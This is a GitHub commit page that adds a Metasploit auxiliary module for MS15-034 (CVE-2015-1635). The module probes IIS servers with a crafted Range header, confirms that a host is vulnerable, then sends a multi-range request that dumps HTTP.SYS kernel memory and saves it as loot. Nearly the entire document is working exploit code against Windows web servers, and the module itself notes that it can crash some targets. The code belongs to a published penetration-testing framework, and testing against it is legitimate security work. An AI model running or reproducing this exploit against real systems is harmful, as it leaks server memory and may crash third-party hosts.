Skip to content

Commit a2a231c

Browse files
committed
Land rapid7#5577, MS15-034 HTTP.SYS Information Disclosure
2 parents 1351c1d + 5e96763 commit a2a231c

File tree

1 file changed

+223
-0
lines changed

1 file changed

+223
-0
lines changed
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
17+
'Description' => %q{
18+
Dumps memory contents using a crafted Range header. Affects only
19+
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
20+
is running in VMware Workstation, this module has a high likelihood
21+
of resulting in BSOD; however, VMware ESX and non-virtualized hosts
22+
seem stable. Using a larger target file should result in more memory
23+
being dumped, and SSL seems to produce more data as well.
24+
},
25+
'Author' =>
26+
[
27+
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
28+
'sinn3r' # Some more Metasploit stuff
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2015-1635'],
34+
['MSB', 'MS15-034'],
35+
['URL', 'http://pastebin.com/ypURDPc4'],
36+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
37+
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
38+
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
39+
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
40+
]
41+
))
42+
43+
register_options([
44+
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
45+
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
46+
], self.class)
47+
48+
deregister_options('VHOST')
49+
end
50+
51+
def target_uri
52+
@target_uri ||= super
53+
end
54+
55+
def potential_static_files_uris
56+
uri = normalize_uri(target_uri.path)
57+
58+
return [uri] unless uri[-1, 1] == '/'
59+
60+
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
61+
res = send_request_raw('uri' => uri)
62+
63+
return uris unless res
64+
65+
site_uri = URI.parse(full_uri)
66+
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
67+
68+
page.xpath('//link|//script|//style|//img').each do |tag|
69+
%w(href src).each do |attribute|
70+
attr_value = tag[attribute]
71+
next unless attr_value && !attr_value.empty?
72+
uri = site_uri.merge(URI.encode(attr_value.strip))
73+
next unless uri.host == vhost || uri.host == rhost
74+
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
75+
end
76+
end
77+
78+
uris.uniq
79+
end
80+
81+
def check_host(ip)
82+
upper_range = 0xFFFFFFFFFFFFFFFF
83+
84+
potential_static_files_uris.each do |potential_uri|
85+
uri = normalize_uri(potential_uri)
86+
87+
res = send_request_raw(
88+
'uri' => uri,
89+
'method' => 'GET',
90+
'headers' => {
91+
'Range' => "bytes=0-#{upper_range}"
92+
}
93+
)
94+
95+
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
96+
97+
if res && res.body.include?('Requested Range Not Satisfiable')
98+
vprint_status("#{vmessage} - Vulnerable")
99+
100+
# Save the file that we want to use for the information leak
101+
target_uri.path = uri
102+
103+
return Exploit::CheckCode::Vulnerable
104+
elsif res && res.body.include?('The request has an invalid header name')
105+
return Exploit::CheckCode::Safe
106+
end
107+
end
108+
109+
Exploit::CheckCode::Unknown
110+
end
111+
112+
def dump(data)
113+
# clear out the returned resource
114+
if datastore['SUPPRESS_REQUEST']
115+
dump_start = data.index('HTTP/1.1 200 OK')
116+
if dump_start
117+
data[0..dump_start-1] = ''
118+
else
119+
print_error("Memory dump start position not found, dumping all data instead")
120+
end
121+
end
122+
123+
print_line
124+
print_good("Memory contents:")
125+
print_line(Rex::Text.to_hex_dump(data))
126+
end
127+
128+
# Needed to allow the vulnerable uri to be shared between the #check and #dos
129+
def target_uri
130+
@target_uri ||= super
131+
end
132+
133+
def get_file_size
134+
@file_size ||= lambda {
135+
file_size = -1
136+
uri = normalize_uri(target_uri.path)
137+
res = send_request_raw('uri' => uri)
138+
139+
unless res
140+
vprint_error("#{peer} - Connection timed out")
141+
return file_size
142+
end
143+
144+
if res.code == 404
145+
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
146+
return file_size
147+
end
148+
149+
file_size = res.headers['Content-Length'].to_i
150+
vprint_status("#{peer} - File length: #{file_size} bytes")
151+
152+
return file_size
153+
}.call
154+
end
155+
156+
def calc_ranges(content_length)
157+
ranges = "bytes=3-18446744073709551615"
158+
159+
range_step = 100
160+
for range_start in (1..content_length).step(range_step) do
161+
range_end = range_start + range_step - 1
162+
range_end = content_length if range_end > content_length
163+
ranges << ",#{range_start}-#{range_end}"
164+
end
165+
166+
ranges
167+
end
168+
169+
def run_host(ip)
170+
begin
171+
unless check_host(ip)
172+
print_error("Target is not vulnerable")
173+
return
174+
else
175+
print_good("Target may be vulnerable...")
176+
end
177+
178+
content_length = get_file_size
179+
ranges = calc_ranges(content_length)
180+
181+
uri = normalize_uri(target_uri.path)
182+
cli = Rex::Proto::Http::Client.new(
183+
ip,
184+
rport,
185+
{},
186+
datastore['SSL'],
187+
datastore['SSLVersion'],
188+
nil,
189+
datastore['USERNAME'],
190+
datastore['PASSWORD']
191+
)
192+
cli.connect
193+
req = cli.request_raw(
194+
'uri' => target_uri.path,
195+
'method' => 'GET',
196+
'headers' => {
197+
'Range' => ranges
198+
}
199+
)
200+
cli.send_request(req)
201+
202+
print_good("Stand by...")
203+
204+
resp = cli.read_response
205+
206+
if resp
207+
dump(resp.to_s)
208+
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
209+
print_status("Memory dump saved to #{loot_path}")
210+
else
211+
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
212+
end
213+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
214+
print_error("Unable to connect")
215+
return
216+
rescue ::Timeout::Error, ::Errno::EPIPE
217+
print_error("Timeout receiving from socket")
218+
return
219+
ensure
220+
cli.close if cli
221+
end
222+
end
223+
end

0 commit comments

Comments
 (0)